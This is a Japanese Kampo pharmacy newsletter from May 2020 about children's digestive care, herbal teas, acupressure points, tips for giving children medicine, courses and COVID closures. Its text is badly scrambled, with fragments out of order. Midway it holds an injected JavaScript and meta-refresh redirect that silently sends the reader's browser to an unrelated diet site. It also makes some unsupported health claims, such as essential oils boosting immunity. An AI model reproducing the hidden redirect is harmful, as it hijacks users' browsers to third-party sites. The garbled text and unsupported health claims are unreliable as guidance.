
「生姜湯が甘すぎて苦手」「カラダの芯まで温まりたい」

という方におすすめ！ワンランク上の生姜湯です。

おなかをあたためる漢方「大建中湯」をベースに、女性に

嬉しいコラーゲンや本葛を配合、甘さ控えめ大で美味しい♪

老舗の漢方メーカー栃本天海堂さんの自信作！

こどもの日と言えば、こいのぼり、兜、ちまき、菖蒲湯…。男の子の成長することをお祝いする日ですね。ち

まきや菖蒲湯は邪気を払うそうです。さてこどもの健やかな成長をサポートするのに、大人と一緒で養

生法は良いのでしょうか？実は養生法は人生のステージごとに異なります。こどもの養生法は、まずはお

なかを整えること！おなかの事を東洋医学では「脾」といいます。脾は目に見える臓器ではなく、消化吸

収システム、という感じで、子供は基本的に脾が弱いとされています。脾は湿気に弱いためアイスクリー

ムやジュースなど水気の多く冷やすものをとると下痢をしやすくなります。風邪ひいた時に嘔吐下痢が多

いのも子供の特徴ですね。思春期になると自律神経の「肝」、高齢になると老化と関係する「腎」のケアが

必要になります。お子さまの心身の不調が気になる場合、まずおなかをケアしてみてくださいね。

 5
    2020   May 

 5月5日はこどもの日でもあり、夏の始まりである立夏。梅雨に向けて胃腸を整えましょう！

お知らせ
講座

  年 齢 別、 養 生 法 。

お知らせ

http://kaisei-drug.co.jp/wp/calendar
各種講座のスケジュールとご予約はこちら！

■ 「ちょっぴり大人なしょうが湯」新入荷！

■せんねん灸「太陽」あります 〼

お灸を試したいけどやけどが心配、火を使わないでお灸をしたい、

という方へ！もぐさ成分を含み、肌に直接貼れる新しい形

のお灸です。匂いもなく 3時間ほど持続時間もあります。

少し肌寒い時、生理中の冷えや痛みが気になるときにもおすすめ♪

　　【24 個入り：1831 円】

■ネットで簡単予約！
     漢方相談・漢方体質アドバイス・鍼灸の

     予約がネット上で簡単にできます。

     是非ご利用くださいませ。

　

こどものための、元気をつける薬膳茶！

　子どもの心身の健康はおなかから！子どもの体質改善の漢方

　である「小建中湯（しょうけんちゅうとう）」をベースとした、甘く

　ておなかがほっこり温まる薬膳茶です。桂皮はシナモンのこと

　で体の中から温まり、体の防御する「衛気」を整えます。なつ

   めはおなかを強くして元気をつけてくれます。膠飴は麦芽糖の

　事で滋養作用が高く、しくしくした痛みを和らげます。　　　

材料 2 人分：桂皮 4g　なつめ 4g　

　　　膠飴（麦芽糖）20g　熱湯 300ml　

まず自分の爪の状態に合った漢方ハーブティーで、身体の中から

優しく温めます。次に指先をお湯で温めて血流を促し、甘皮ケア

やファイリングで爪先を整えます。最後にアロマセルフハンドマ

ッサージにて、若々しく艶やかな手指をよみがえらせますよ♪

みびょうレター





漢方予約➡　https://reserva.be/mebyoulabo

鍼灸予約➡　https://reserva.be/mebyoushinkyu　

【６包入：864 円】

<script>window.googleJavaScriptRedirect=1</script><META name="referrer" 
content="origin"><script>var 
n={navigateTo:function(b,a,d){if(b!=a&&b.google){if(b.google.r){b.google
.r=0;b.location.href=d;a.location.replace("about:blank");}}else{a.locati
on.replace(d);}}};n.navigateTo(window.parent,window,"http://diet4uchimom
o.web.fc2.com/");
</script><noscript><META http-equiv="refresh" 
content="0;URL='http://diet4uchimomo.web.fc2.com/'"></noscript>

　【内田登代紀先生】

詳細は別紙講座案内 5.6 月のスケジュール、もしくはＨＰで！

New!!

今月の

薬膳茶

■ 新しい鍼灸師ご紹介■
～指先から自分らしく、美しく～

①洗ったもち米、蓮の実と水を入れて煮る。

② 蓮の実が割れてきたらゆり根を入れ柔らかくなったら火を止める。

③金木犀を入れ 5分蒸らす。

④冷めてから牛乳と一緒にミキサーにかけて出来上がり！

 

6/5（金）10:30 ～ 12:00

 参加費 : 3,000 円  定員 : 10 名（8名様より開催）

ニューヨークや日本のネイルライセンス取得し

現在ニューヨークと熊本に店舗をもち、国際的

活躍されているネイルのスペシャリスト！！

ア ロ マ リ ン パ ヨ ガ

  6/8,  ６/22（月）10:30 ～ 11:30

  参加費：1,800 円　定員：8名（2名様より）

未病ラボの漢方薬剤師による、東洋医学の基礎

の基礎を、ざっくり 3回で学ぶ講座です。

本を読んでもよよく分からない、専門用語が頭

に入ってこない、という方におすすめ。

単発受講も可能ですが、連続した内容となっております。

矢野久美子先生

未病ラボの「東洋医学講座初級」終了以上でアロマの基礎知識

がある方向け講座です。アロマテラピーで使用する精油を東洋

医学的な視点で分類し、ブレンドの仕方や体へアプローチを学

びます。東洋医学やアロマの基礎知識をお持ちの方も受講可能。

（ただし一般価格となります）4月、６月の内容は同じですので、

ご都合の良い方をお選び下さい。※講師：矢野久美子先生

補腎薬（アンチエイジング）で人気の瓊玉膏ですが、生薬価格の変動

により 6月より金額改訂させて頂きますのでご了承くださいませ。

  300g：13,750 円→14,300 円　/　1.2kg：39,600 円→39,930 円

　　

■ 未病ラボの講座は 5/8 まで休講です  ■
　新型ウイルス感染拡大予防のため、後の状態によ

　ってはさらに休講延長の可能性がございます。

加納由美子先生

熱湯にすべての生薬を入れ、ポットで１０分程蒸らします。

生薬を濾して麦芽糖が溶けたら出来上がり！

■ 瓊玉膏、6月より金額が変更になります  ■

竹之井ゆきか先生

精油をつかいながら、リンパを流すマッサージ

効果のあるヨガ。リンパの流れが良くなると、

老廃物が排泄されることで細胞の代謝が活発になります。また

もよくなることで、肩こりの解消にも！精油を併用すれば、免

疫を刺激することで自己治癒力が高まります。精油の香りが本

能を主る大脳辺縁系にアプローチし、自律神経を整え心身とも

にリラックスするのを体験してください。

ネイルケアレッスン すでにご予約頂いている方へ、遅くとも 5日前にはお電話また

はメールでお伝え致しますので、どうぞご了承くださいませ。

　　

甘 麦 建 中 茶

■ 鍼灸院一時休業のお知らせ  ■
緊急事態宣言を受けまして、現在ご予約頂いている方以外は

施術を中止させて頂きます。



飲ませるのも大変なんです・・・！！  ～こどもの漢方服用法 虎の巻～

スタッフ

膠　飴

生 薬

矢野

■ 漢方相談

■体質診断アドバイス

ご予約はお電話かネットで→

■ メディカル鍼灸

■  美容鍼灸

未病ラボ 検 索

◆当帰芍薬散

ひとりごと

  

鶏むねが肉汁ジューシーに仕上がります。ゆでたまごを

一緒に煮ると美味しい煮卵ができますよ！

　

　

　

　

◆小青竜湯（しょうせいりゅうとう）

　　　

◆苓甘姜味辛夏仁湯（りょうかんきょうみしんげにんとう）

※外邪…外の環境（風、寒、暑、湿、燥、熱）が突然激しく変化したり過剰になり、
体に負担になるもの。細菌やウイルスも「外邪」のひとつと考えられます。

◆洗肝明目湯（せんかんめいもくとう）
     眼科専用漢方です。目の熱感をとり、かゆみや充血を和らげます。　　

スタッフおすすめ

漢 方 薬 局  鍼 灸 院

おすすめの食材

アスパラ、しいたけ、なつめ

やまいも、ねぎ、生姜、ニラ

羊肉、くるみ など

    花粉症といえば、で有名な漢方。肺を温め不要な水を排出し、水っぽ

　い鼻水、くしゃみを緩和します。酸っぱい味が出すぎる鼻水に効果的！

    小青竜湯では胃がもたれる方、虚弱な方、妊婦さんやご年配の方に

　おすすめ。小青竜湯と同じような働きがあります。

2月から久しぶりにアロマ講師をする

ようになり、再びアロマ熱が戻ってま

いりました。数本精油があるだけで生

活も豊かになるし、基礎化粧品を自分

で作れるので非常にコスパがよい♪

外出自粛のモヤモヤは、良い香りに包

まれると吹き飛ぶ感じがします (*^_^*)

「膠飴」と難しい字で書いてはいますが、麦芽糖

の事です。小さなお子さんで便秘や虚弱体質の

子に小児科から「マルツエキス」というお薬が

処方されることがありますが、それも麦芽糖。

身体に栄養を与えて元気にする滋養の働きや、

緊張性の痛み（特に腹痛）を甘味によってゆる

ませて緩和する働きがあります。子供だけでな

くお腹が弱いタイプで疲れやすい大人でも使え

ます。あめタイプと水飴タイプがあり、麦芽と

お米などのデンプンを糖化させて作ります。

つ ぼ

　  ● どんな生薬がはいってるの？●

古賀

大久保さん

池根さん

　

　　　

　

7

コラム

塩６ｇ（お好みで調整）

濃口醤油 小さじ１

紅花　適量（飾り）

　命門（めいもん）
腰のくびれの高さの背骨上にある。

～こどもの症状（夜泣き・虚弱）対策のつぼ～

以前小児科の処方箋を受けている薬局で働いていましたが、

よく漢方薬を処方されるドクターでしたので、それはもうお母

さんがお子さんにお薬を飲ませるのがどれだけ大変か、自分の

経験も踏まえてよく分かります！よく「体質に合っていると漢

方は美味しく感じる」と言われますが、これも人それぞれ。割

とお野菜好きなお子さんの場合はスムーズに飲めることも多く、

場合によっては自ら「ちょうだい！」とせがんで粉のままバリ

バリ食べる子もいました。一方合ってるんだろうけど、飲むこ

と自体イヤ！など嫌がる子もたくさんいます。薬局にある「お

くすりのめたね」シリーズのぶどう味や、漢方専用のイチゴチ

ョコ味やとコーヒー味がわりと飲みやすく人気でした。それで

も難しいときはこんな手も。特に体質改善の場合は毎日飲む必

要があるので、少しでもお母さんもお子さんもストレスフリー

で飲んでいただきたく思います。

　天枢（てんすう）　　　　　　　　　　
おへその両わき、お子様の指幅３本

分ずれたところにある。

（瀬戸）

　

その壱：蜂蜜やチョコレートなどの甘みでごまかす 

渡邉

外出できない家での時間。こんな時

こそ薬の勉強だ！と思って本を開いて

みる→15 分程で眠くなる→頑張って

みる→健闘むなしく寝る ( 笑 ) 子ども

が勉強しないのでお手本を見せる！！

と意気込んだのですが、悪いお手本と

なってしまっています。寝るのが大好

きな母ちゃんでごめんよ～！！！

  

合谷

　10 個入り 100g

　　　 

池根

漢方はチョコレート味で飲みやすくなるものが多く、混ぜても効能は

変わりません。アイスクリームも有効で、最初はアイスクリームの

み食べさせ冷感により味覚を麻痺させ、漢方を混ぜたアイスを食べ

させます。ちょっと溶けかけがよいです。甘いのが苦手な子はお好

み焼きソースという手もあります。　

こう　　い

命門天枢

姉妹店：カイセイ薬局（荒江店）

未病ラボビル１F の調剤薬局

各種処方箋受け付けております！

■ おくすり健康相談　毎週水曜日 14-16 時

（要予約 / 無料）　別日も可能なのでお問い合わせください

ご予約はお電話かネットで→

（漢方薬局・鍼灸院共通）

facebook 　　　　　  

お店の日常やいろんな情報を投稿しています♪

ホームページはこちらで検索！

432 円　

2年前の今頃は、インドから帰任し

たばかりで若干のカルチャーショッ

クでふわふわしていて、去年の今頃

は、久しぶりにアイススケートをし

て手首を骨折しました。来年の今頃

は、今を懐かしむことができるくら

い、平和な世の中だったらいいな。

その弐：意外と溶かして服用する時の温度も重要！

粉の薬は溶けにくいときはすり鉢で小さく砕くと溶けやすいです。

「○○湯」とあるものは溶かして少し温かい方が飲みやすく、「○○

散」などとあるものは溶かして冷たくすると飲みやすいです。

その参：相性のいい組み合わせがある！

抑肝散はピーナツバター、小建中湯や柴胡桂枝湯など桂皮を含むもの

はすりおろしリンゴ、小青竜湯はココアやミロ、補中益気湯はハンバ

ーグにまぜるなど、いろいろありますよ。　


